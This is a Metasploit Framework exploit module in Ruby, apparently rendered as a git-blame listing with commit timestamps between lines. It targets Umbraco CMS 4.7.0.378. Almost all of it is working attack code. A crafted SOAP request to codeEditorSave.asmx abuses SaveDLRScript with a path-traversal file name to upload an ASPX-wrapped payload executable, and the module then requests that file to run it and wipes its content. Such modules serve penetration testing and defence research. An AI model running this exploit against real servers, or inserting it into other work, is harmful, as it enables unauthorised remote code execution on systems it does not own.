2012-07-06 09:52:43 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Umbraco CMS Remote Command Execution',
|
|
|
|
'Description' => %q{
|
2012-07-06 13:47:25 +00:00
|
|
|
This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
|
|
|
|
The payload is uploaded as an ASPX script by sending a specially crafted
|
|
|
|
SOAP request to codeEditorSave.asmx, which permits unauthorised file upload
|
|
|
|
via the SaveDLRScript operation. SaveDLRScript is also subject to a path
|
|
|
|
traversal vulnerability, allowing code to be placed into the web-accessible
|
|
|
|
/umbraco/ directory.
|
2012-07-06 09:52:43 +00:00
|
|
|
|
|
|
|
The module writes, executes and then overwrites an ASPX script; note that
|
2012-07-06 13:47:25 +00:00
|
|
|
though the script content is removed, the file remains on the target. Automatic
|
|
|
|
cleanup of the file is intended if a meterpreter payload is used.
|
|
|
|
|
|
|
|
This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
|
|
|
|
7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
|
|
|
|
write permissions on the Windows Temp folder.
|
2012-07-06 09:52:43 +00:00
|
|
|
},
|
|
|
|
'Author' => [
|
2012-07-06 15:41:06 +00:00
|
|
|
'Toby Clarke', # Vulnerability discovery and Metasploit module
|
|
|
|
'juan vazquez' # Improved version of the Metasploit module
|
2012-07-06 09:52:43 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'References' =>
|
|
|
|
[
|
2012-07-06 13:47:25 +00:00
|
|
|
[ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],
|
|
|
|
[ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons
|
2012-07-06 09:52:43 +00:00
|
|
|
],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Jun 28 2012'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2012-07-06 13:47:25 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])
|
2012-07-06 09:52:43 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Remove the asmx if we get a meterpreter.
|
|
|
|
#
|
|
|
|
def on_new_session(cli)
|
|
|
|
if cli.type != 'meterpreter'
|
|
|
|
print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
|
|
|
|
|
|
|
begin
|
|
|
|
aspx = @upload_random + '.aspx'
|
|
|
|
|
|
|
|
print_status("#{@peer} - Searching: #{aspx}")
|
|
|
|
files = cli.fs.file.search("\\", aspx)
|
|
|
|
if not files or files.empty?
|
|
|
|
print_error("Unable to find #{aspx}. Please manually remove it.")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
files.each { |f|
|
2012-10-24 05:54:17 +00:00
|
|
|
print_warning("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")
|
2012-07-06 09:52:43 +00:00
|
|
|
cli.fs.file.rm(f['path'] + "\\" + f['name'])
|
|
|
|
}
|
2012-10-24 05:54:17 +00:00
|
|
|
print_good("#{@peer} - #{aspx} deleted")
|
2012-07-06 09:52:43 +00:00
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Unable to delete #{aspx}: #{e.message}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb'
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
@peer = "#{rhost}:#{rport}"
|
|
|
|
|
|
|
|
# Generate the ASPX containing the EXE containing the payload
|
|
|
|
exe = generate_payload_exe
|
|
|
|
aspx = Msf::Util::EXE.to_exe_aspx(exe)
|
|
|
|
|
|
|
|
# htmlentities like encoding
|
|
|
|
aspx = aspx.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")
|
|
|
|
|
2012-07-06 13:47:25 +00:00
|
|
|
uri_path = target_uri.path
|
|
|
|
uri_path.path << "/" if uri_path[-1, 1] != "/"
|
|
|
|
|
2012-07-06 09:52:43 +00:00
|
|
|
@upload_random = rand_text_alpha(rand(6) + 6)
|
|
|
|
|
|
|
|
soap = <<-eos
|
|
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
|
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
|
|
<soap:Body>
|
|
|
|
<SaveDLRScript xmlns="http://tempuri.org/">
|
|
|
|
<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
|
|
|
|
<oldName>string</oldName>
|
|
|
|
<fileContents>#{aspx}</fileContents>
|
|
|
|
<ignoreDebugging>1</ignoreDebugging>
|
|
|
|
</SaveDLRScript>
|
|
|
|
</soap:Body>
|
|
|
|
</soap:Envelope>
|
|
|
|
eos
|
|
|
|
|
|
|
|
#
|
|
|
|
# UPLOAD
|
|
|
|
#
|
|
|
|
|
|
|
|
attack_url = uri_path + "webservices/codeEditorSave.asmx"
|
|
|
|
print_status("#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...")
|
|
|
|
print_status("#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => attack_url,
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => 'text/xml; charset=utf-8',
|
|
|
|
'headers' => {
|
|
|
|
'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
|
|
|
|
},
|
|
|
|
'data' => soap,
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (! res)
|
|
|
|
print_status("#{@peer} - Timeout: Trying to execute the payload anyway")
|
|
|
|
elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
|
|
|
|
print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
|
|
|
|
else
|
|
|
|
print_status("#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway")
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# EXECUTE
|
|
|
|
#
|
|
|
|
|
|
|
|
upload_path = uri_path + "#{@upload_random}.aspx"
|
|
|
|
print_status("#{@peer} - Executing #{upload_path}...")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => upload_path,
|
|
|
|
'method' => 'GET'
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (! res)
|
|
|
|
print_error("#{@peer} - Execution failed on #{upload_path} [No Response]")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2012-11-05 08:26:26 +00:00
|
|
|
if (res.code < 200 or res.code > 302)
|
2012-07-06 09:52:43 +00:00
|
|
|
print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# 'DELETE' - note that the file will remain on the system, but the content will be wiped.
|
|
|
|
#
|
|
|
|
|
|
|
|
soap = <<-eos
|
|
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
|
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
|
|
<soap:Body>
|
|
|
|
<SaveDLRScript xmlns="http://tempuri.org/">
|
|
|
|
<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
|
|
|
|
<oldName>string</oldName>
|
|
|
|
<fileContents></fileContents>
|
|
|
|
<ignoreDebugging>1</ignoreDebugging>
|
|
|
|
</SaveDLRScript>
|
|
|
|
</soap:Body>
|
|
|
|
</soap:Envelope>
|
|
|
|
eos
|
|
|
|
|
|
|
|
attack_url = uri_path + "webservices/codeEditorSave.asmx"
|
|
|
|
print_status("#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...")
|
|
|
|
print_status("#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => attack_url,
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => 'text/xml; charset=utf-8',
|
|
|
|
'headers' => {
|
|
|
|
'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
|
|
|
|
},
|
|
|
|
'data' => soap,
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (! res)
|
|
|
|
print_error("#{@peer} - Deletion failed at #{attack_url} [No Response]")
|
|
|
|
return
|
|
|
|
elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
|
|
|
|
print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
|
|
|
|
else
|
|
|
|
print_status("#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]")
|
|
|
|
end
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|